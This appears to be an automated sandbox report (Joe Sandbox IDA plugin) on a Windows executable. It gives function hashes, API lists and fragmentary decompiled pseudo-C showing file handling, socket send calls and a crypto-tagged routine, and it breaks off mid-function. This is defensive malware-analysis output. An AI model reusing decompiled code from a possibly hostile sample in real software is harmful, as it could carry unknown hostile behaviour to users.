Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CommandLinemalloc$Argvwcstombs
String ID:
API String ID: 175250670-0
Opcode ID: 7bd239274c1dadc2965b861490938192b99a554aa4d210c54cef6918a09e441b
Instruction ID: 4215b7e91752c4f49cce49ebc5b9dfd46bcb5be9c7ca1f9483c9992673bbb891
Opcode Fuzzy Hash: 7bd239274c1dadc2965b861490938192b99a554aa4d210c54cef6918a09e441b
Instruction Fuzzy Hash: 85116331A08B5E91EB24AF25E944468F7A5FB54FD0B844132CAAE537B4DF3DD155C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2F5C Relevance: 4.6, APIs: 3, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00007FF77FF79BAA2F5C(void* __eflags, long long __rbx, long long __rcx, void* __r8, void* __r9) {
				int _t34;
				void* _t35;
				void* _t42;
				long long _t48;
				void* _t60;
				void* _t61;
				void* _t63;

				_t42 = _t63;
				 *((long long*)(_t42 + 8)) = __rcx;
				_t61 = _t42 - 0x5f;
				 *((long long*)(_t61 - 1)) = 0xfffffffe;
				 *((long long*)(_t42 + 0x10)) = __rbx;
				_t48 = __rcx;
				 *(_t61 - 9) =  *(_t61 - 9) & 0x00000000;
				asm("movups xmm0, [edx]");
				asm("movdqu [ebp+0x7], xmm0");
				r8d = 0x80000000;
				E00007FF77FF79BAA2C6C(__eflags, __rcx, _t61 + 0x17, __r8, __r9); // executed
				 *(_t48 + 8) =  *(_t48 + 8) & 0x00000000;
				 *(_t48 + 0x10) =  *(_t48 + 0x10) & 0x00000000;
				 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0x00000000;
				 *(_t61 - 9) = 1;
				GetFileSize(_t60);
				E00007FF77FF79BAA1C00(_t48, _t61 + 7);
				r8d = GetFileSize(??, ??);
				 *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x17)) + 0x68))();
				 *((long long*)(_t61 + 0x17)) = 0x9bab37f8;
				if ( *(_t61 + 0x1f) == 0xffffffff) goto 0x9baa3009; // executed
				_t34 = FindCloseChangeNotification(??); // executed
				 *(_t61 + 0x1f) =  *(_t61 + 0x1f) | 0xffffffff;
				_t35 = E00007FF77FF79BAA1BDC(_t34, _t61 + 0x27);
				 *((long long*)(_t61 + 0x17)) = 0x9bab3870;
				return _t35;
			}

0x7ff79baa2f5c
0x7ff79baa2f5f
0x7ff79baa2f64
0x7ff79baa2f6f
0x7ff79baa2f77
0x7ff79baa2f7b
0x7ff79baa2f7e
0x7ff79baa2f82
0x7ff79baa2f85
0x7ff79baa2f8a
0x7ff79baa2f98
0x7ff79baa2f9e
0x7ff79baa2fa3
0x7ff79baa2fa8
0x7ff79baa2fad
0x7ff79baa2fba
0x7ff79baa2fc5
0x7ff79baa2fd6
0x7ff79baa2fe5
0x7ff79baa2ff0
0x7ff79baa2ffc
0x7ff79baa2ffe
0x7ff79baa3004
0x7ff79baa300d
0x7ff79baa301a
0x7ff79baa3031

APIs

Part of subcall function 00007FF79BAA2C6C: CreateFileA.KERNELBASE ref: 00007FF79BAA2D73

GetFileSize.KERNEL32 ref: 00007FF79BAA2FBA
GetFileSize.KERNEL32 ref: 00007FF79BAA2FD0
FindCloseChangeNotification.KERNELBASE ref: 00007FF79BAA2FFE

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: File$Size$ChangeCloseCreateFindNotification
String ID:
API String ID: 371367366-0
Opcode ID: 64d41770a200ded930ebe57f61b6c04818fcaf91f6657714fc0038aa33b9423d
Instruction ID: 2b6510e3b1f2128198fe83f48b3c8757aeb122a9a4ac2f515a750598181c08f2
Opcode Fuzzy Hash: 64d41770a200ded930ebe57f61b6c04818fcaf91f6657714fc0038aa33b9423d
Instruction Fuzzy Hash: 60213632A00A05AAE710EF39D4443A863A1E785B78F458736DA3D426E9EF38D669C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA4084 Relevance: 3.0, APIs: 2, Instructions: 30
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FF79BAA40E6
atexit.KERNELBASE ref: 00007FF79BAA40F3

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: Startupatexit
String ID:
API String ID: 549365519-0
Opcode ID: 7ca515f2007f9112b24cda09d7a00b75fc10e543868616847e1735064d9aebb3
Instruction ID: d169211da798671e1880c26353b0caa62c4ab8a407c35a3ec835ed6265f731fc
Opcode Fuzzy Hash: 7ca515f2007f9112b24cda09d7a00b75fc10e543868616847e1735064d9aebb3
Instruction Fuzzy Hash: 89014832509B55A1DB20AF28E840429B3A8FB44734B90433ADABD033F4EF3CD696C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA20A4 Relevance: 2.5, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT(?,?,00000106,00007FF79BAA2071), ref: 00007FF79BAA20D6
free.MSVCRT(?,?,00000106,00007FF79BAA2071), ref: 00007FF79BAA20F6

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d82ce354799780d5fe8e0d71c2391b40973093f9fd8c43ef161dd94abe9cd1bd
Instruction ID: becccd4a57752a416192e2aa1829410f680dc5ca5a055e6a08eb7fa63dee04ae
Opcode Fuzzy Hash: d82ce354799780d5fe8e0d71c2391b40973093f9fd8c43ef161dd94abe9cd1bd
Instruction Fuzzy Hash: 3F014C76615B85C6CA249F6AF44006AB370F748FC4B648036DBAE03725DF38D596C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2C6C Relevance: 1.6, APIs: 1, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00007FF77FF79BAA2C6C(void* __eflags, long long __rbx, intOrPtr* __rcx, void* __r8, void* __r9, void* _a24) {
				char _v56;
				signed int _v72;
				signed long long _v88;
				signed int _v96;
				intOrPtr _v104;
				intOrPtr _t57;
				signed long long _t64;
				long long _t68;
				long long _t80;
				CHAR* _t81;
				intOrPtr* _t82;
				long _t84;
				long _t86;
				void* _t88;
				void* _t94;
				void* _t95;

				_t94 = __r9;
				_t95 = _t88;
				 *((long long*)(_t95 + 8)) = __rcx;
				 *((long long*)(_t95 - 0x40)) = 0xfffffffe;
				 *((long long*)(_t95 + 0x18)) = __rbx;
				_t57 = r8d;
				_t82 = __rcx;
				_v72 = _v72 & 0x00000000;
				 *((long long*)(__rcx)) = 0x9bab3870;
				 *((long long*)(__rcx)) = 0x9bab37f8;
				_t68 = __rcx + 0x10;
				 *((long long*)(_t95 + 0x10)) = _t68;
				 *(_t68 + 8) =  *(_t68 + 8) & 0x00000000;
				 *(_t68 + 0x10) =  *(_t68 + 0x10) & 0x00000000;
				 *(_t68 + 0x18) =  *(_t68 + 0x18) & 0x00000000;
				asm("movups xmm1, [edx]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec ax");
				E00007FF77FF79BAA1BA8(0x9bab37f8, _t95 - 0x38);
				_v72 = 1;
				 *(_t68 + 8) =  *((intOrPtr*)(0x7ff79bab3800));
				 *((long long*)(0x7ff79bab3800)) =  *(_t68 + 8);
				_t80 =  *(_t68 + 0x10);
				 *(_t68 + 0x10) =  *((intOrPtr*)(0x7ff79bab3808));
				 *((long long*)(0x7ff79bab3808)) = _t80;
				_t64 =  *((intOrPtr*)(0x7ff79bab3810));
				 *(_t68 + 0x18) = _t64;
				 *((long long*)(0x7ff79bab3810)) =  *(_t68 + 0x18);
				_v72 = 1;
				E00007FF77FF79BAA1BDC(0,  &_v56);
				 *((intOrPtr*)(_t82 + 0x30)) = _t57;
				 *((intOrPtr*)(_t82 + 0x34)) = 4;
				 *(_t82 + 0x38) = 1;
				 *(_t82 + 0x3c) =  *(_t82 + 0x3c) & 0x00000000;
				if (_t57 != 0x80000000) goto 0x9baa2d58;
				 *((intOrPtr*)(_t82 + 0x34)) = 3;
				_v88 = _v88 & 0x00000000;
				_v96 = _v96 & 0x00000000;
				_v104 = 3;
				r9d = 0;
				_t41 = _t94 + 1; // 0x1
				r8d = _t41;
				CreateFileA(_t81, _t84, _t86, ??); // executed
				 *(_t82 + 8) = _t64;
				if ( *((intOrPtr*)(_t82 + 0x34)) != 0) goto 0x9baa2d93;
				_t44 = _t80 + 2; // 0x2
				r8d = _t44;
				return  *((intOrPtr*)( *_t82 + 0x48))();
			}

0x7ff79baa2c6c
0x7ff79baa2c6c
0x7ff79baa2c6f
0x7ff79baa2c7a
0x7ff79baa2c82
0x7ff79baa2c86
0x7ff79baa2c89
0x7ff79baa2c8c
0x7ff79baa2c98
0x7ff79baa2ca2
0x7ff79baa2ca5
0x7ff79baa2ca9
0x7ff79baa2cad
0x7ff79baa2cb2
0x7ff79baa2cb7
0x7ff79baa2cbc
0x7ff79baa2cbf
0x7ff79baa2cc3
0x7ff79baa2cc8
0x7ff79baa2ccd
0x7ff79baa2cdc
0x7ff79baa2ce4
0x7ff79baa2cf4
0x7ff79baa2cf8
0x7ff79baa2cfc
0x7ff79baa2d04
0x7ff79baa2d08
0x7ff79baa2d10
0x7ff79baa2d14
0x7ff79baa2d18
0x7ff79baa2d24
0x7ff79baa2d2d
0x7ff79baa2d32
0x7ff79baa2d3a
0x7ff79baa2d3d
0x7ff79baa2d44
0x7ff79baa2d4e
0x7ff79baa2d55
0x7ff79baa2d58
0x7ff79baa2d5e
0x7ff79baa2d63
0x7ff79baa2d67
0x7ff79baa2d6a
0x7ff79baa2d6a
0x7ff79baa2d73
0x7ff79baa2d79
0x7ff79baa2d81
0x7ff79baa2d88
0x7ff79baa2d88
0x7ff79baa2da5

APIs

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

CreateFileA.KERNELBASE ref: 00007FF79BAA2D73

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CreateFilefree
String ID:
API String ID: 1298414175-0
Opcode ID: cfbfcd55840d4e45a9a8d3da35c171b11e3458a6f3e3ca33b716c3c43f2563ed
Instruction ID: d718c56a02f9e79b45a742204183aea34e799d06f334c0f21bcb845f50b8f330
Opcode Fuzzy Hash: cfbfcd55840d4e45a9a8d3da35c171b11e3458a6f3e3ca33b716c3c43f2563ed
Instruction Fuzzy Hash: 3331AC73A14B4497D710CF28E5403ACB3A4F798BA4F208226DB6C47B94DF79D9A4C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2218 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

atexit.KERNELBASE(?,?,?,00007FF79BAA2381), ref: 00007FF79BAA2288

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: atexit
String ID:
API String ID: 3413467201-0
Opcode ID: edecbde388c4a8691610216413f70ccc081af62bb982a86e7a07d399f1f44f73
Instruction ID: b02d774fa0d88fddc242f01f74481de51657a20fdc262ebc6f91dfbdae454c20
Opcode Fuzzy Hash: edecbde388c4a8691610216413f70ccc081af62bb982a86e7a07d399f1f44f73
Instruction Fuzzy Hash: 8A01C821B09B0A81EB70ABA8E600565E3D1EF48BC0BDC4036CA5C03B34EF2CE6558370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA3034 Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00007FF77FF79BAA3034(void* __eflags, void* __rdx, void* __r8, void* __r9) {
				char _v56;
				signed long long _v64;
				long long _v72;
				void* __rbx;
				int _t16;
				void* _t17;
				void* _t21;
				void* _t33;

				_t21 = _t33;
				 *((long long*)(_t21 - 0x68)) = 0xfffffffe;
				asm("movups xmm0, [ecx]");
				asm("movdqu [eax-0x58], xmm0");
				r8d = 0x40000000;
				_t3 = _t21 - 0x48; // 0x3fffffb8, executed
				E00007FF77FF79BAA2C6C(__eflags, __rdx, _t3, __r8, __r9); // executed
				 *((intOrPtr*)(_v72 + 0x70))();
				_v72 = 0x9bab37f8;
				if (_v64 == 0xffffffff) goto 0x9baa30a1; // executed
				_t16 = FindCloseChangeNotification(??); // executed
				_v64 = _v64 | 0xffffffff;
				_t17 = E00007FF77FF79BAA1BDC(_t16,  &_v56);
				_v72 = 0x9bab3870;
				return _t17;
			}

0x7ff79baa3034
0x7ff79baa303f
0x7ff79baa304a
0x7ff79baa304d
0x7ff79baa3052
0x7ff79baa305c
0x7ff79baa3060
0x7ff79baa307a
0x7ff79baa3085
0x7ff79baa3093
0x7ff79baa3095
0x7ff79baa309b
0x7ff79baa30a6
0x7ff79baa30b3
0x7ff79baa30c0

APIs

Part of subcall function 00007FF79BAA2C6C: CreateFileA.KERNELBASE ref: 00007FF79BAA2D73

FindCloseChangeNotification.KERNELBASE ref: 00007FF79BAA3095

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: ChangeCloseCreateFileFindNotification
String ID:
API String ID: 727422849-0
Opcode ID: f7bbdca9e1221d4bfb921aa3f25cd6cda4f25fbbce344b309a7aca1891798a54
Instruction ID: 4948b46b3fddac2734cd252fe648d713562219c04b7fc4711f4379e9ffe1a54f
Opcode Fuzzy Hash: f7bbdca9e1221d4bfb921aa3f25cd6cda4f25fbbce344b309a7aca1891798a54
Instruction Fuzzy Hash: 63016962A05F8991DA10DBB8E4447ACA3A1F786B70F900326D6BC427F5EF68D689C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA4380 Relevance: 1.5, APIs: 1, Instructions: 17networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF79BAA4399

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f432f794d99e2e2a187611ab7e7fe93006863870f87d6d49df4e078c0f3f7bc8
Instruction ID: 17150cb7d3ab212e036edc321738cd708bde25562362f8bc83db6caaf89b5e4e
Opcode Fuzzy Hash: f432f794d99e2e2a187611ab7e7fe93006863870f87d6d49df4e078c0f3f7bc8
Instruction Fuzzy Hash: 35D02B10E28E0A81EF7473786050C346294DF59774F805334DB3E051F0EF1982814230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA418C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF79BAA4199

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 8f2490ca42e39dd25e8eb07733dce7da040e835cd4f7416eefd1b66656ca0319
Instruction ID: a81264ebd937a4d1da25fc56ea3d750b6e16e90df3bd28e53e253c96ec19a7aa
Opcode Fuzzy Hash: 8f2490ca42e39dd25e8eb07733dce7da040e835cd4f7416eefd1b66656ca0319
Instruction Fuzzy Hash: 52C08C62A2091882EB245B76B8850242228EB58F30F582321CE79492E09F1582E38300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2EC8 Relevance: 1.5, APIs: 1, Instructions: 8fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF79BAA2EDB

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: ecd546a808ccb861f159bb8b8f4d88dea52f65d7c3dbb5bc3a4a2c2cdf69fdab
Instruction ID: b8399e6306755b10700e1271411d339b881ea592928a1ab83b37be79845bf1c0
Opcode Fuzzy Hash: ecd546a808ccb861f159bb8b8f4d88dea52f65d7c3dbb5bc3a4a2c2cdf69fdab
Instruction Fuzzy Hash: ECC00266A299C8D3D710EB18E845759B3B4F799708FA00152EB8D42624CF3DDE1ACA14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2EA4 Relevance: 1.5, APIs: 1, Instructions: 8fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00007FF79BAA2EB7

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 80ca6d6df1be591fc32f7b45942fdc77c3919cb37c9b9a2178d247c96acc8232
Instruction ID: 66c5c422b25cd3dd7130cdee4f78991d6e6cbfa949c994a64d49e445ff48ce44
Opcode Fuzzy Hash: 80ca6d6df1be591fc32f7b45942fdc77c3919cb37c9b9a2178d247c96acc8232
Instruction Fuzzy Hash: 17C00266A18988D3D610EB18E845759A3B4F799718FA04112EB8D42624CF3DDE5ACE14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA1D58 Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00007FF77FF79BAA1D58(signed int __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, signed int __r8, char _a8, long long _a16, long long _a24, long long _a32) {
				void* _t19;
				signed long long _t27;
				void* _t43;

				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				if (__r8 != 0xffffffff) goto 0x9baa1d87;
				_t43 = (__r8 | __r8) + 1;
				if ( *((char*)(_t43 + __rdx)) != 0) goto 0x9baa1d7e;
				_a8 = 0;
				asm("dec eax");
				_t27 = __rbx &  *((intOrPtr*)(__rcx + 0x10)) -  *((intOrPtr*)(__rcx + 8)) - 0x00000001;
				E00007FF77FF79BAA2024(_t27, __rcx, _t27 + 1 + _t43, __rcx,  &_a8); // executed
				_t19 = memmove(??, ??, ??);
				 *((char*)(_t27 + _t43 +  *((intOrPtr*)(__rcx + 8)))) = 0;
				return _t19;
			}

0x7ff79baa1d58
0x7ff79baa1d5d
0x7ff79baa1d62
0x7ff79baa1d79
0x7ff79baa1d7e
0x7ff79baa1d85
0x7ff79baa1d94
0x7ff79baa1da3
0x7ff79baa1da6
0x7ff79baa1db0
0x7ff79baa1dc2
0x7ff79baa1dd9
0x7ff79baa1dea

APIs

memmove.MSVCRT ref: 00007FF79BAA1DC2

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: dd23b1475436a075d1893a70a51c2261b175b2d757e1c6301cdc016cbcd916a1
Instruction ID: e10316101b6e917f8f61a21fa83d557f93ab8c029e0bd9dfbeaaa3ff8633b1e0
Opcode Fuzzy Hash: dd23b1475436a075d1893a70a51c2261b175b2d757e1c6301cdc016cbcd916a1
Instruction Fuzzy Hash: BC01C822718BC485DB10DF2AF5402A9B710E745FE4F544231DBAD07BA9CF2CC141C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2024 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF77FF79BAA2024(long long __rbx, long long __rcx, void* __rdx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				void* _t15;
				long long _t24;
				long long _t26;
				signed long long _t34;
				void* _t42;
				intOrPtr _t47;

				_t26 = __rcx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t24 = __rcx;
				_t3 = _t26 + 0x10; // 0x10ed515ffffff
				_t4 = _t24 + 8; // 0xfffe202444c74838
				_t47 =  *_t4;
				_t34 =  *_t3 - _t47;
				if (__rdx - _t34 < 0) goto 0x9baa2087;
				_t5 = _t24 + 0x18; // 0xccccc338c4834890
				if (__rdx -  *_t5 - _t47 <= 0) goto 0x9baa2079;
				_t37 =  >  ? __rdx : _t34 + _t34 * 2 >> 1; // executed
				E00007FF77FF79BAA20A4(__rcx, __rcx,  >  ? __rdx : _t34 + _t34 * 2 >> 1, __r8, _t42);
				_t15 = memset(??, ??, ??);
				_t10 = _t24 + 8; // 0xfffe202444c74838
				 *((long long*)(__rcx + 0x10)) =  *_t10 + __rdx;
				return _t15;
			}

0x7ff79baa2024
0x7ff79baa2024
0x7ff79baa2029
0x7ff79baa2036
0x7ff79baa2039
0x7ff79baa2043
0x7ff79baa2043
0x7ff79baa2047
0x7ff79baa204d
0x7ff79baa204f
0x7ff79baa2059
0x7ff79baa2068
0x7ff79baa206c
0x7ff79baa2082
0x7ff79baa2087
0x7ff79baa2093
0x7ff79baa20a1

APIs

memset.MSVCRT ref: 00007FF79BAA2082

Part of subcall function 00007FF79BAA20A4: malloc.MSVCRT(?,?,00000106,00007FF79BAA2071), ref: 00007FF79BAA20D6
Part of subcall function 00007FF79BAA20A4: free.MSVCRT(?,?,00000106,00007FF79BAA2071), ref: 00007FF79BAA20F6

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: freemallocmemset
String ID:
API String ID: 3809226132-0
Opcode ID: 0036d6926ea464a816c554677d954692bd41091447cf2a0b382a901d59b84555
Instruction ID: 5bcb7b37a66d34cc6f9b8799e8008995d79df83cf0b2192a2640768d7b849453
Opcode Fuzzy Hash: 0036d6926ea464a816c554677d954692bd41091447cf2a0b382a901d59b84555
Instruction Fuzzy Hash: 78018BA2708BC482DB14DFAAE28406DE722EB88FC47448035DF9C1BB1DCE28C5A1C390

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF79BAA56B4 Relevance: 19.8, APIs: 4, Strings: 9, Instructions: 333
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E00007FF77FF79BAA56B4(void* __ecx, void* __edi, long long __rcx, void* __rdx, long long __r8, long long __r9) {
				void* __rbx;
				void* __rsi;
				void* _t168;
				void* _t195;
				signed long long _t217;
				signed long long _t221;
				long long _t224;
				intOrPtr* _t226;
				intOrPtr _t227;
				intOrPtr* _t228;
				intOrPtr _t229;
